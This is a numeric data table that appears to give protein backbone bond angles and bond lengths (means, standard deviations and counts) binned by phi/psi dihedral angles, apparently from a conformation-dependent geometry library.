(-80, 10) : ['B', 3, 122.46, 2.9, -1, -1, 115.66, 1.63, -1, -1, 119.54, 1.92, 118.23, 1.65, 122.19, 1.41, 1.3313, 0.0179, 1.4462, 0.0152, -1, -1, 1.5099, 0.014, 1.2336, 0.0114],
(-80, 130) : ['B', 4, 120.92, 1.15, -1, -1, 111.15, 1.76, -1, -1, 120.89, 0.92, 116.07, 1.12, 122.99, 0.86, 1.3319, 0.0086, 1.4536, 0.015, -1, -1, 1.5169, 0.0161, 1.2357, 0.0101],
(-80, 140) : ['B', 6, 120.71, 1.13, -1, -1, 111.64, 1.57, -1, -1, 121.64, 0.92, 115.33, 1.15, 122.96, 1.02, 1.3313, 0.011, 1.4532, 0.0177, -1, -1, 1.5212, 0.0128, 1.2308, 0.0111],
(-80, 150) : ['B', 10, 120.6, 1.01, -1, -1, 112.37, 1.4, -1, -1, 121.94, 1.19, 115.18, 1.36, 122.81, 1.37, 1.3315, 0.0146, 1.4487, 0.0168, -1, -1, 1.5177, 0.0118, 1.2304, 0.0138],
(-80, 160) : ['B', 16, 120.64, 1.26, -1, -1, 112.82, 1.38, -1, -1, 122.14, 1.76, 115.01, 1.45, 122.8, 1.84, 1.3335, 0.0214, 1.4451, 0.0139, -1, -1, 1.517, 0.0167, 1.2306, 0.0151],
(-80, 170) : ['B', 19, 121.05, 1.54, -1, -1, 112.85, 1.61, -1, -1, 122.27, 1.9, 114.88, 1.31, 122.82, 1.84, 1.3332, 0.0226, 1.4459, 0.013, -1, -1, 1.517, 0.0196, 1.2307, 0.0147],
(-70, -180) : ['B', 8, 121.54, 1.43, -1, -1, 112.3, 1.68, -1, -1, 122.75, 1.27, 114.62, 1.38, 122.59, 1.03, 1.3284, 0.0134, 1.4457, 0.0139, -1, -1, 1.5182, 0.0166, 1.2316, 0.0107],
(-70, -170) : ['B', 3, 121.48, 1.78, -1, -1, 111.98, 1.63, -1, -1, 122.76, 1.12, 114.4, 1.57, 122.71, 0.78, 1.328, 0.0113, 1.4444, 0.0134, -1, -1, 1.5194, 0.0147, 1.2319, 0.0092],
(-70, -50) : ['B', 16, 119.94, 1.09, -1, -1, 112.49, 1.21, -1, -1, 120.9, 1.12, 116.89, 1.06, 122.19, 0.96, 1.3337, 0.0114, 1.4542, 0.0123, -1, -1, 1.5171, 0.0108, 1.2343, 0.0121],
(-70, -40) : ['B', 74, 120.0, 1.1, -1, -1, 112.77, 1.28, -1, -1, 120.66, 1.06, 117.13, 1.03, 122.19, 0.97, 1.3339, 0.0121, 1.4534, 0.0124, -1, -1, 1.5166, 0.0114, 1.2342, 0.0119],
(-70, -30) : ['B', 35, 120.22, 1.27, -1, -1, 113.37, 1.34, -1, -1, 120.3, 1.1, 117.4, 1.02, 122.28, 1.09, 1.3346, 0.0126, 1.4521, 0.0126, -1, -1, 1.5147, 0.0125, 1.2346, 0.0123],
(-70, -20) : ['B', 35, 120.79, 1.78, -1, -1, 114.16, 1.21, -1, -1, 119.5, 1.18, 117.8, 1.11, 122.68, 1.13, 1.3347, 0.012, 1.4519, 0.014, -1, -1, 1.5137, 0.0141, 1.2355, 0.0121],
(-70, -10) : ['B', 22, 121.19, 2.23, -1, -1, 114.67, 1.1, -1, -1, 119.01, 1.3, 118.13, 1.3, 122.84, 1.16, 1.3328, 0.0131, 1.4519, 0.0164, -1, -1, 1.514, 0.016, 1.2359, 0.0108],
(-70, 0) : ['B', 4, 121.6, 2.51, -1, -1, 115.31, 1.24, -1, -1, 119.15, 1.6, 118.34, 1.54, 122.48, 1.34, 1.3318, 0.0169, 1.4497, 0.0174, -1, -1, 1.512, 0.0166, 1.2346, 0.011],
(-70, 120) : ['B', 4, 120.98, 0.9, -1, -1, 110.97, 1.56, -1, -1, 120.3, 0.83, 117.06, 1.08, 122.62, 0.71, 1.3308, 0.0089, 1.4502, 0.0138, -1, -1, 1.516, 0.0163, 1.2427, 0.0093],
(-70, 130) : ['B', 4, 120.43, 1.06, -1, -1, 111.03, 1.4, -1, -1, 120.98, 0.94, 116.19, 1.13, 122.77, 0.88, 1.3301, 0.0085, 1.4538, 0.0122, -1, -1, 1.5179, 0.0146, 1.237, 0.0097],
(-70, 140) : ['B', 15, 120.31, 1.02, -1, -1, 111.54, 1.36, -1, -1, 121.58, 0.9, 115.51, 1.17, 122.84, 1.03, 1.33, 0.0102, 1.4516, 0.0137, -1, -1, 1.5191, 0.0115, 1.232, 0.0103],
(-70, 150) : ['B', 20, 120.34, 0.95, -1, -1, 112.14, 1.29, -1, -1, 121.9, 1.08, 115.27, 1.34, 122.76, 1.27, 1.3304, 0.0126, 1.4487, 0.0139, -1, -1, 1.5168, 0.0096, 1.2312, 0.0133],
(-70, 160) : ['B', 23, 120.53, 1.13, -1, -1, 112.54, 1.28, -1, -1, 122.31, 1.34, 114.95, 1.5, 122.69, 1.48, 1.3309, 0.0153, 1.4463, 0.0132, -1, -1, 1.5162, 0.0118, 1.2316, 0.0145],
(-70, 170) : ['B', 13, 121.01, 1.42, -1, -1, 112.51, 1.53, -1, -1, 122.62, 1.46, 114.74, 1.51, 122.61, 1.4, 1.329, 0.0167, 1.4467, 0.0136, -1, -1, 1.517, 0.0155, 1.2318, 0.0133],
(-60, -50) : ['B', 38, 119.94, 1.11, -1, -1, 112.5, 1.16, -1, -1, 121.0, 1.08, 116.81, 1.0, 122.18, 0.96, 1.3339, 0.0123, 1.4542, 0.0124, -1, -1, 1.5162, 0.0109, 1.2335, 0.0121],
(-60, -40) : ['B', 119, 119.98, 1.11, -1, -1, 112.73, 1.2, -1, -1, 120.75, 1.03, 117.04, 0.99, 122.19, 0.96, 1.334, 0.0132, 1.4536, 0.0129, -1, -1, 1.5164, 0.0112, 1.2335, 0.012],
(-60, -30) : ['B', 44, 120.14, 1.25, -1, -1, 113.24, 1.31, -1, -1, 120.4, 1.08, 117.34, 1.01, 122.24, 1.06, 1.3344, 0.0142, 1.4524, 0.0134, -1, -1, 1.5152, 0.0122, 1.234, 0.0129],
(-60, -20) : ['B', 18, 120.74, 1.72, -1, -1, 113.99, 1.28, -1, -1, 119.65, 1.18, 117.79, 1.12, 122.54, 1.1, 1.3342, 0.0127, 1.4518, 0.0142, -1, -1, 1.5138, 0.014, 1.2357, 0.0135],
(-60, -10) : ['B', 9, 121.17, 2.11, -1, -1, 114.4, 1.11, -1, -1, 119.09, 1.2, 118.17, 1.26, 122.73, 1.12, 1.3333, 0.0116, 1.4528, 0.0156, -1, -1, 1.5147, 0.0158, 1.2367, 0.0107],
(-60, 140) : ['B', 6, 119.92, 0.96, -1, -1, 111.36, 1.17, -1, -1, 121.41, 0.88, 115.61, 1.15, 122.93, 0.99, 1.3301, 0.0088, 1.4522, 0.0105, -1, -1, 1.5186, 0.0097, 1.2332, 0.0102],
(-60, 150) : ['B', 5, 120.1, 0.95, -1, -1, 111.93, 1.15, -1, -1, 121.71, 1.14, 115.32, 1.26, 122.91, 1.23, 1.3308, 0.012, 1.4501, 0.0119, -1, -1, 1.5164, 0.0089, 1.2326, 0.0139],
(-60, 160) : ['B', 6, 120.44, 1.09, -1, -1, 112.33, 1.1, -1, -1, 122.24, 1.3, 114.88, 1.47, 122.82, 1.33, 1.3306, 0.0137, 1.4487, 0.0123, -1, -1, 1.5163, 0.0107, 1.2322, 0.015],
(-60, 170) : ['B', 3, 121.06, 1.3, -1, -1, 112.25, 1.34, -1, -1, 122.82, 1.29, 114.54, 1.55, 122.6, 1.13, 1.3276, 0.0143, 1.4496, 0.0135, -1, -1, 1.5175, 0.0148, 1.2307, 0.0122],
(-50, -50) : ['B', 3, 119.99, 1.13, -1, -1, 112.64, 1.21, -1, -1, 121.05, 1.03, 116.81, 0.99, 122.13, 0.99, 1.3338, 0.0127, 1.4545, 0.0122, -1, -1, 1.5147, 0.0115, 1.2332, 0.0117],
(-50, -40) : ['B', 13, 120.03, 1.12, -1, -1, 112.83, 1.22, -1, -1, 120.8, 0.98, 117.02, 0.98, 122.17, 0.97, 1.3335, 0.0143, 1.4536, 0.0133, -1, -1, 1.5152, 0.0118, 1.2333, 0.012],
(-50, -30) : ['B', 4, 120.13, 1.26, -1, -1, 113.27, 1.33, -1, -1, 120.45, 1.02, 117.34, 1.04, 122.19, 1.03, 1.3332, 0.0162, 1.4522, 0.0146, -1, -1, 1.5147, 0.0121, 1.2343, 0.0141],
(50, -150) : ['B', 3, 120.73, 3.48, -1, -1, 111.78, 1.69, -1, -1, 122.0, 1.57, 115.34, 1.43, 122.6, 1.04, 1.3287, 0.0128, 1.4467, 0.0193, -1, -1, 1.5137, 0.0126, 1.235, 0.0166],
(50, -140) : ['B', 13, 120.07, 1.98, -1, -1, 111.73, 1.73, -1, -1, 121.56, 1.25, 115.74, 1.31, 122.67, 1.17, 1.3294, 0.0126, 1.451, 0.0148, -1, -1, 1.5117, 0.0152, 1.2363, 0.0147],
(50, -130) : ['B', 13, 120.07, 1.61, -1, -1, 111.34, 1.82, -1, -1, 121.44, 1.26, 116.01, 1.54, 122.52, 1.46, 1.3289, 0.0138, 1.4531, 0.0132, -1, -1, 1.5131, 0.0167, 1.237, 0.0138],
(50, 40) : ['B', 3, 120.11, 1.51, -1, -1, 113.48, 1.46, -1, -1, 120.29, 1.3, 117.19, 1.19, 122.51, 0.81, 1.3282, 0.01, 1.4578, 0.0147, -1, -1, 1.511, 0.0102, 1.2378, 0.0113],
(60, -170) : ['B', 3, 120.42, 3.34, -1, -1, 112.44, 2.44, -1, -1, 122.74, 1.3, 113.98, 1.54, 123.17, 1.12, 1.3297, 0.0186, 1.4467, 0.0232, -1, -1, 1.5239, 0.0167, 1.2291, 0.0168],
(60, -160) : ['B', 8, 120.05, 4.05, -1, -1, 112.01, 2.34, -1, -1, 122.39, 1.34, 114.53, 1.61, 122.96, 1.22, 1.3298, 0.0159, 1.4453, 0.0235, -1, -1, 1.5225, 0.0163, 1.2335, 0.0152],
(60, -150) : ['B', 12, 120.44, 3.25, -1, -1, 111.8, 1.82, -1, -1, 122.06, 1.39, 115.26, 1.49, 122.6, 1.07, 1.33, 0.0133, 1.4475, 0.0188, -1, -1, 1.5171, 0.0131, 1.2358, 0.0152],
(60, -140) : ['B', 22, 120.07, 1.95, -1, -1, 111.5, 1.74, -1, -1, 121.68, 1.26, 115.66, 1.42, 122.61, 1.13, 1.3302, 0.0131, 1.4519, 0.0152, -1, -1, 1.5144, 0.0135, 1.2362, 0.0134],
(60, -130) : ['B', 31, 120.0, 1.63, -1, -1, 111.02, 1.86, -1, -1, 121.51, 1.32, 115.91, 1.62, 122.55, 1.38, 1.3292, 0.0149, 1.4534, 0.0141, -1, -1, 1.5151, 0.0152, 1.2361, 0.0128],
(60, -120) : ['B', 5, 120.25, 1.69, -1, -1, 110.77, 1.93, -1, -1, 121.46, 1.38, 116.15, 1.78, 122.36, 1.61, 1.3263, 0.0164, 1.4531, 0.014, -1, -1, 1.5157, 0.0159, 1.2372, 0.0146],
(60, 20) : ['B', 5, 120.77, 1.94, -1, -1, 114.61, 1.49, -1, -1, 119.69, 1.27, 117.95, 1.34, 122.31, 1.14, 1.331, 0.013, 1.4501, 0.0144, -1, -1, 1.5099, 0.0146, 1.2337, 0.0143],
(60, 30) : ['B', 14, 120.77, 1.74, -1, -1, 114.1, 1.51, -1, -1, 119.8, 1.21, 117.75, 1.26, 122.41, 0.98, 1.3306, 0.0121, 1.4526, 0.0143, -1, -1, 1.5111, 0.0125, 1.2357, 0.0131],
(60, 40) : ['B', 9, 120.66, 1.89, -1, -1, 113.76, 1.8, -1, -1, 120.03, 1.2, 117.38, 1.22, 122.57, 0.91, 1.3291, 0.01, 1.4545, 0.0145, -1, -1, 1.5126, 0.0106, 1.2375, 0.0112],
(70, -180) : ['B', 7, 121.44, 1.45, -1, -1, 112.22, 1.83, -1, -1, 122.61, 1.28, 114.56, 1.56, 122.77, 0.95, 1.329, 0.0163, 1.4497, 0.0145, -1, -1, 1.5196, 0.015, 1.2301, 0.0158],
(70, -170) : ['B', 10, 120.99, 2.31, -1, -1, 112.45, 2.1, -1, -1, 122.58, 1.42, 114.28, 1.56, 123.05, 1.03, 1.3298, 0.0193, 1.4467, 0.0189, -1, -1, 1.5215, 0.0153, 1.2318, 0.0181],
(70, -160) : ['B', 15, 120.36, 2.89, -1, -1, 112.17, 2.16, -1, -1, 122.33, 1.32, 114.62, 1.55, 122.95, 1.15, 1.331, 0.0176, 1.4474, 0.0199, -1, -1, 1.5219, 0.0149, 1.2343, 0.0174],
(70, -150) : ['B', 12, 120.28, 2.48, -1, -1, 112.02, 1.86, -1, -1, 122.01, 1.19, 115.24, 1.49, 122.67, 1.1, 1.3321, 0.0143, 1.449, 0.0168, -1, -1, 1.5198, 0.0128, 1.2348, 0.0144],
(70, -140) : ['B', 5, 120.07, 1.66, -1, -1, 111.47, 1.72, -1, -1, 121.67, 1.24, 115.65, 1.54, 122.62, 1.11, 1.3311, 0.0131, 1.4532, 0.0158, -1, -1, 1.5168, 0.0129, 1.2361, 0.0123],
(70, -130) : ['B', 8, 119.98, 1.51, -1, -1, 110.86, 1.84, -1, -1, 121.4, 1.4, 115.98, 1.73, 122.58, 1.25, 1.3284, 0.015, 1.4544, 0.0161, -1, -1, 1.5155, 0.0149, 1.2362, 0.0127],
(70, -10) : ['B', 3, 122.16, 1.73, -1, -1, 115.59, 1.32, -1, -1, 118.95, 0.99, 118.79, 1.21, 122.23, 1.19, 1.3328, 0.0137, 1.4469, 0.016, -1, -1, 1.511, 0.0145, 1.2374, 0.0145],
(70, 0) : ['B', 12, 121.78, 1.98, -1, -1, 115.47, 1.31, -1, -1, 119.0, 1.12, 118.62, 1.29, 122.34, 1.27, 1.3314, 0.014, 1.4469, 0.0153, -1, -1, 1.5115, 0.0135, 1.2365, 0.0138],
(70, 10) : ['B', 40, 121.18, 2.19, -1, -1, 115.3, 1.44, -1, -1, 119.25, 1.28, 118.36, 1.35, 122.35, 1.33, 1.3314, 0.0135, 1.4484, 0.0153, -1, -1, 1.5103, 0.0139, 1.2346, 0.0135],
(70, 20) : ['B', 51, 120.8, 1.98, -1, -1, 114.9, 1.54, -1, -1, 119.58, 1.3, 118.04, 1.34, 122.34, 1.22, 1.3311, 0.0129, 1.4487, 0.0144, -1, -1, 1.5101, 0.0145, 1.2335, 0.0145],
(70, 30) : ['B', 39, 120.87, 1.79, -1, -1, 114.48, 1.66, -1, -1, 119.72, 1.22, 117.82, 1.28, 122.41, 1.08, 1.3303, 0.0123, 1.4502, 0.0138, -1, -1, 1.5114, 0.014, 1.235, 0.0147],
(70, 40) : ['B', 7, 121.06, 2.04, -1, -1, 114.16, 2.0, -1, -1, 119.82, 1.14, 117.61, 1.2, 122.54, 1.02, 1.3286, 0.0109, 1.4526, 0.015, -1, -1, 1.5132, 0.0123, 1.2378, 0.0132],
(80, -180) : ['B', 10, 121.45, 1.54, -1, -1, 112.58, 1.8, -1, -1, 122.65, 1.28, 114.62, 1.66, 122.68, 1.07, 1.3309, 0.0175, 1.4474, 0.0136, -1, -1, 1.5166, 0.0158, 1.2323, 0.015],
(80, -170) : ['B', 13, 121.32, 1.79, -1, -1, 112.62, 1.87, -1, -1, 122.52, 1.55, 114.51, 1.67, 122.91, 0.95, 1.3292, 0.0195, 1.4457, 0.0173, -1, -1, 1.5175, 0.0135, 1.2347, 0.0169],
(80, -160) : ['B', 15, 121.01, 1.86, -1, -1, 112.37, 1.84, -1, -1, 122.28, 1.55, 114.75, 1.6, 122.9, 0.95, 1.33, 0.0181, 1.4476, 0.017, -1, -1, 1.519, 0.0119, 1.2358, 0.0174],
(80, -150) : ['B', 6, 120.65, 1.54, -1, -1, 112.22, 1.74, -1, -1, 121.83, 1.26, 115.25, 1.43, 122.86, 0.97, 1.3313, 0.0148, 1.4501, 0.0144, -1, -1, 1.5204, 0.0106, 1.2323, 0.0143],
(80, -130) : ['B', 3, 120.42, 1.13, -1, -1, 110.95, 1.7, -1, -1, 120.89, 1.21, 116.16, 1.66, 122.9, 1.17, 1.327, 0.0158, 1.4551, 0.0162, -1, -1, 1.5109, 0.0178, 1.2339, 0.0182],
(80, -50) : ['B', 4, 121.34, 2.35, -1, -1, 115.86, 2.77, -1, -1, 120.12, 1.37, 117.53, 1.11, 122.31, 1.16, 1.3257, 0.0141, 1.4626, 0.0201, -1, -1, 1.511, 0.0219, 1.2343, 0.0098],
(80, -20) : ['B', 10, 122.28, 1.49, -1, -1, 115.42, 1.27, -1, -1, 119.2, 0.99, 118.52, 1.22, 122.25, 1.25, 1.3335, 0.0141, 1.4458, 0.0153, -1, -1, 1.5121, 0.0141, 1.237, 0.0146],
(80, -10) : ['B', 40, 122.09, 1.69, -1, -1, 115.4, 1.32, -1, -1, 119.04, 1.06, 118.65, 1.2, 122.28, 1.29, 1.3328, 0.0143, 1.4463, 0.0158, -1, -1, 1.512, 0.0149, 1.238, 0.0145],
(80, 0) : ['B', 72, 121.93, 1.94, -1, -1, 115.36, 1.33, -1, -1, 119.02, 1.11, 118.55, 1.22, 122.39, 1.27, 1.3314, 0.0146, 1.4465, 0.0154, -1, -1, 1.5122, 0.014, 1.2378, 0.0138],
(80, 10) : ['B', 79, 121.53, 1.97, -1, -1, 115.3, 1.39, -1, -1, 119.13, 1.22, 118.42, 1.26, 122.41, 1.25, 1.3309, 0.014, 1.4476, 0.0151, -1, -1, 1.5107, 0.0134, 1.2363, 0.013],
(80, 20) : ['B', 61, 121.07, 1.79, -1, -1, 115.08, 1.54, -1, -1, 119.44, 1.3, 118.2, 1.27, 122.32, 1.24, 1.3309, 0.0132, 1.4484, 0.0143, -1, -1, 1.5097, 0.0138, 1.2348, 0.0134],
(80, 30) : ['B', 15, 120.91, 1.62, -1, -1, 114.76, 1.7, -1, -1, 119.68, 1.25, 117.94, 1.22, 122.33, 1.17, 1.3304, 0.0127, 1.449, 0.0133, -1, -1, 1.5105, 0.0141, 1.2352, 0.0145],
(80, 40) : ['B', 3, 121.0, 1.7, -1, -1, 114.46, 1.81, -1, -1, 119.88, 1.17, 117.74, 1.11, 122.34, 1.17, 1.3286, 0.0116, 1.4502, 0.0141, -1, -1, 1.5119, 0.0131, 1.2376, 0.0146],
(80, 160) : ['B', 3, 121.87, 1.64, -1, -1, 112.65, 1.3, -1, -1, 122.39, 0.93, 114.88, 1.27, 122.7, 1.06, 1.3263, 0.0132, 1.4457, 0.0126, -1, -1, 1.5191, 0.0101, 1.2303, 0.0129],
(80, 170) : ['B', 9, 121.85, 1.24, -1, -1, 112.61, 1.6, -1, -1, 122.59, 1.04, 114.77, 1.47, 122.6, 1.05, 1.3298, 0.0142, 1.4464, 0.0111, -1, -1, 1.5178, 0.0137, 1.2322, 0.0143],
(90, -180) : ['B', 7, 121.57, 1.67, -1, -1, 112.83, 1.7, -1, -1, 122.78, 1.2, 114.49, 1.69, 122.68, 1.23, 1.3308, 0.0184, 1.448, 0.0135, -1, -1, 1.5146, 0.0159, 1.2345, 0.013],
(90, -170) : ['B', 13, 121.39, 1.72, -1, -1, 112.77, 1.81, -1, -1, 122.71, 1.55, 114.38, 1.7, 122.86, 1.0, 1.3275, 0.018, 1.4473, 0.0168, -1, -1, 1.5144, 0.0131, 1.235, 0.0136],
(90, -160) : ['B', 9, 121.42, 1.55, -1, -1, 112.53, 1.76, -1, -1, 122.43, 1.69, 114.64, 1.6, 122.88, 0.83, 1.3273, 0.0157, 1.4484, 0.017, -1, -1, 1.5167, 0.0114, 1.2348, 0.0134],
(90, -130) : ['B', 3, 121.31, 0.94, -1, -1, 111.24, 1.49, -1, -1, 120.53, 0.9, 116.23, 1.22, 123.19, 0.98, 1.3264, 0.0153, 1.454, 0.0125, -1, -1, 1.5154, 0.0165, 1.2312, 0.021],
(90, -120) : ['B', 3, 121.72, 1.51, -1, -1, 111.35, 1.2, -1, -1, 120.15, 1.41, 116.36, 1.06, 123.41, 0.81, 1.3199, 0.0198, 1.4604, 0.0126, -1, -1, 1.5237, 0.0133, 1.2291, 0.0263],
(90, -110) : ['B', 3, 121.71, 1.82, -1, -1, 111.67, 0.92, -1, -1, 120.15, 1.83, 116.19, 1.03, 123.52, 0.74, 1.3233, 0.0217, 1.4643, 0.0112, -1, -1, 1.5305, 0.0104, 1.2271, 0.0259],
(90, -50) : ['B', 3, 122.0, 2.13, -1, -1, 115.33, 2.74, -1, -1, 120.36, 1.3, 117.05, 1.3, 122.54, 1.25, 1.3206, 0.0153, 1.4596, 0.0187, -1, -1, 1.5133, 0.0223, 1.2302, 0.0108],
(90, -40) : ['B', 4, 122.97, 1.84, -1, -1, 114.74, 2.54, -1, -1, 120.25, 1.43, 117.2, 1.63, 122.5, 0.94, 1.3279, 0.0122, 1.4538, 0.0179, -1, -1, 1.515, 0.0205, 1.2327, 0.0113],
(90, -30) : ['B', 5, 122.86, 1.62, -1, -1, 114.67, 1.41, -1, -1, 119.59, 1.11, 117.84, 1.37, 122.52, 1.06, 1.3325, 0.0136, 1.444, 0.0181, -1, -1, 1.5159, 0.0129, 1.2354, 0.0145],
(90, -20) : ['B', 24, 122.46, 1.46, -1, -1, 115.08, 1.19, -1, -1, 119.27, 1.04, 118.24, 1.26, 122.46, 1.23, 1.3327, 0.0156, 1.4438, 0.0161, -1, -1, 1.5141, 0.0133, 1.2362, 0.0146],
(90, -10) : ['B', 75, 122.2, 1.59, -1, -1, 115.21, 1.3, -1, -1, 119.1, 1.09, 118.46, 1.21, 122.42, 1.31, 1.3326, 0.0157, 1.4455, 0.0153, -1, -1, 1.5131, 0.0145, 1.2379, 0.0145],
(90, 0) : ['B', 79, 122.05, 1.81, -1, -1, 115.32, 1.38, -1, -1, 119.06, 1.12, 118.48, 1.17, 122.43, 1.27, 1.3313, 0.0153, 1.4463, 0.015, -1, -1, 1.5125, 0.0144, 1.2379, 0.0142],
(90, 10) : ['B', 55, 121.85, 1.76, -1, -1, 115.43, 1.41, -1, -1, 119.06, 1.15, 118.46, 1.15, 122.45, 1.17, 1.3298, 0.0142, 1.447, 0.0153, -1, -1, 1.5111, 0.0137, 1.2369, 0.0131],
(90, 20) : ['B', 23, 121.51, 1.52, -1, -1, 115.32, 1.48, -1, -1, 119.19, 1.22, 118.39, 1.18, 122.38, 1.19, 1.3298, 0.0133, 1.4481, 0.0147, -1, -1, 1.5101, 0.0136, 1.2363, 0.0126],
(90, 30) : ['B', 4, 121.26, 1.42, -1, -1, 115.08, 1.64, -1, -1, 119.46, 1.18, 118.19, 1.15, 122.3, 1.19, 1.3302, 0.0133, 1.4473, 0.0135, -1, -1, 1.51, 0.0131, 1.2366, 0.0127],
(90, 150) : ['B', 3, 120.92, 3.09, -1, -1, 112.48, 1.21, -1, -1, 122.24, 0.87, 115.13, 1.05, 122.56, 1.15, 1.324, 0.0149, 1.4545, 0.0154, -1, -1, 1.5149, 0.0108, 1.2307, 0.0126],
(90, 160) : ['B', 8, 121.92, 1.72, -1, -1, 112.68, 1.26, -1, -1, 122.29, 0.81, 114.88, 1.2, 122.78, 1.18, 1.3275, 0.0139, 1.4466, 0.0109, -1, -1, 1.5195, 0.0104, 1.2302, 0.0122],
(90, 170) : ['B', 9, 122.06, 1.45, -1, -1, 112.81, 1.48, -1, -1, 122.57, 0.92, 114.69, 1.43, 122.68, 1.15, 1.3298, 0.0149, 1.4462, 0.0108, -1, -1, 1.5184, 0.0135, 1.2333, 0.0124],
(100, -180) : ['B', 6, 122.21, 1.67, -1, -1, 112.17, 1.4, -1, -1, 122.56, 1.03, 114.36, 1.63, 123.02, 1.33, 1.3289, 0.0157, 1.4501, 0.0119, -1, -1, 1.5165, 0.0137, 1.235, 0.0105],
(100, -170) : ['B', 8, 122.0, 1.7, -1, -1, 112.45, 1.55, -1, -1, 122.59, 1.27, 114.38, 1.45, 122.98, 1.11, 1.3265, 0.0157, 1.4487, 0.0149, -1, -1, 1.5151, 0.0126, 1.2346, 0.0116],
(100, -160) : ['B', 5, 122.05, 1.57, -1, -1, 112.84, 1.58, -1, -1, 122.43, 1.39, 114.62, 1.26, 122.9, 0.86, 1.3258, 0.0125, 1.4466, 0.0168, -1, -1, 1.5152, 0.0112, 1.2333, 0.0115],
(100, -130) : ['B', 3, 121.86, 0.85, -1, -1, 111.45, 1.23, -1, -1, 120.64, 0.88, 116.25, 0.77, 123.08, 0.65, 1.3248, 0.012, 1.453, 0.0101, -1, -1, 1.523, 0.0119, 1.2305, 0.0168],
(100, -30) : ['B', 4, 123.31, 1.57, -1, -1, 114.25, 1.3, -1, -1, 119.55, 1.08, 117.76, 1.36, 122.65, 1.04, 1.3341, 0.0143, 1.4421, 0.0183, -1, -1, 1.5164, 0.0131, 1.2363, 0.0148],
(100, -20) : ['B', 20, 122.86, 1.46, -1, -1, 114.69, 1.19, -1, -1, 119.27, 1.07, 118.05, 1.34, 122.65, 1.13, 1.3321, 0.017, 1.4436, 0.016, -1, -1, 1.5148, 0.0132, 1.2366, 0.0149],
(100, -10) : ['B', 32, 122.51, 1.57, -1, -1, 114.92, 1.3, -1, -1, 119.07, 1.12, 118.31, 1.32, 122.6, 1.19, 1.3319, 0.0166, 1.4462, 0.0142, -1, -1, 1.5136, 0.0139, 1.2374, 0.0144],
(100, 0) : ['B', 27, 122.25, 1.64, -1, -1, 115.27, 1.41, -1, -1, 119.01, 1.11, 118.46, 1.22, 122.5, 1.18, 1.3314, 0.0151, 1.4469, 0.0139, -1, -1, 1.5125, 0.0143, 1.2371, 0.0141],
(100, 10) : ['B', 21, 122.1, 1.53, -1, -1, 115.64, 1.46, -1, -1, 118.96, 1.08, 118.51, 1.11, 122.5, 1.11, 1.329, 0.0136, 1.4464, 0.0149, -1, -1, 1.5117, 0.0143, 1.2363, 0.0137],
(100, 20) : ['B', 5, 122.0, 1.35, -1, -1, 115.72, 1.51, -1, -1, 118.86, 1.14, 118.55, 1.1, 122.55, 1.12, 1.3274, 0.0126, 1.446, 0.0151, -1, -1, 1.5124, 0.015, 1.2363, 0.0136],
(100, 30) : ['B', 3, 122.26, 1.34, -1, -1, 115.67, 1.59, -1, -1, 118.98, 1.06, 118.5, 0.99, 122.47, 1.11, 1.3268, 0.0123, 1.4431, 0.0138, -1, -1, 1.5117, 0.0144, 1.2362, 0.0133],
(100, 150) : ['B', 5, 121.6, 2.86, -1, -1, 112.18, 1.34, -1, -1, 121.88, 0.78, 115.53, 1.09, 122.47, 0.93, 1.3222, 0.0143, 1.448, 0.0119, -1, -1, 1.5171, 0.013, 1.2364, 0.0118],
(100, 160) : ['B', 5, 122.04, 2.18, -1, -1, 112.29, 1.12, -1, -1, 122.23, 0.69, 115.05, 1.26, 122.64, 1.16, 1.3269, 0.0137, 1.4458, 0.0102, -1, -1, 1.5206, 0.0121, 1.2336, 0.0126],
(100, 170) : ['B', 6, 122.43, 1.66, -1, -1, 112.33, 1.21, -1, -1, 122.52, 0.79, 114.55, 1.51, 122.87, 1.24, 1.3279, 0.0129, 1.4473, 0.0099, -1, -1, 1.5194, 0.0127, 1.2337, 0.0112],
(110, -180) : ['B', 9, 122.65, 1.62, -1, -1, 111.7, 1.28, -1, -1, 122.26, 0.99, 114.32, 1.46, 123.37, 1.23, 1.326, 0.0152, 1.4493, 0.0108, -1, -1, 1.5195, 0.011, 1.2322, 0.0095],
(110, -170) : ['B', 8, 122.66, 1.77, -1, -1, 111.76, 1.43, -1, -1, 122.24, 1.08, 114.63, 1.23, 123.1, 1.05, 1.3246, 0.0174, 1.4479, 0.0135, -1, -1, 1.5182, 0.0113, 1.2342, 0.0117],
(110, -160) : ['B', 3, 122.62, 1.7, -1, -1, 112.52, 1.37, -1, -1, 122.25, 0.99, 114.85, 0.95, 122.85, 0.95, 1.3245, 0.0141, 1.4451, 0.0154, -1, -1, 1.5158, 0.011, 1.2342, 0.0129],
(110, -30) : ['B', 4, 123.44, 1.19, -1, -1, 113.79, 1.17, -1, -1, 119.56, 0.87, 117.63, 1.17, 122.77, 0.94, 1.3356, 0.013, 1.4475, 0.014, -1, -1, 1.5165, 0.0134, 1.2375, 0.0136],
(110, -20) : ['B', 7, 123.08, 1.35, -1, -1, 114.37, 1.26, -1, -1, 119.27, 1.01, 118.14, 1.42, 122.56, 1.08, 1.3319, 0.0157, 1.4468, 0.0139, -1, -1, 1.5134, 0.0144, 1.2383, 0.0147],
(110, -10) : ['B', 15, 122.69, 1.59, -1, -1, 114.64, 1.4, -1, -1, 119.03, 1.14, 118.53, 1.55, 122.42, 1.14, 1.331, 0.0154, 1.449, 0.0135, -1, -1, 1.5121, 0.0149, 1.2379, 0.0141],
(110, 0) : ['B', 11, 122.4, 1.62, -1, -1, 115.0, 1.44, -1, -1, 118.97, 1.11, 118.69, 1.48, 122.33, 1.17, 1.332, 0.0139, 1.4495, 0.0133, -1, -1, 1.5125, 0.0149, 1.2369, 0.013],
(110, 10) : ['B', 4, 122.29, 1.42, -1, -1, 115.63, 1.49, -1, -1, 118.95, 1.0, 118.64, 1.24, 122.38, 1.16, 1.3298, 0.0128, 1.4469, 0.0138, -1, -1, 1.5139, 0.0169, 1.2367, 0.0137],
(110, 20) : ['B', 3, 122.63, 1.38, -1, -1, 116.01, 1.64, -1, -1, 118.77, 0.94, 118.67, 0.98, 122.51, 1.04, 1.3244, 0.0133, 1.4427, 0.0147, -1, -1, 1.5194, 0.0234, 1.2378, 0.0169],
(110, 140) : ['B', 3, 121.88, 2.93, -1, -1, 111.04, 2.24, -1, -1, 121.31, 1.14, 115.77, 1.13, 122.75, 0.99, 1.3221, 0.012, 1.4529, 0.0138, -1, -1, 1.518, 0.012, 1.2375, 0.0106],
(110, 150) : ['B', 5, 121.71, 3.1, -1, -1, 111.72, 1.31, -1, -1, 121.77, 0.86, 115.43, 0.98, 122.64, 0.84, 1.3205, 0.0142, 1.4468, 0.0118, -1, -1, 1.5192, 0.014, 1.2386, 0.0116],
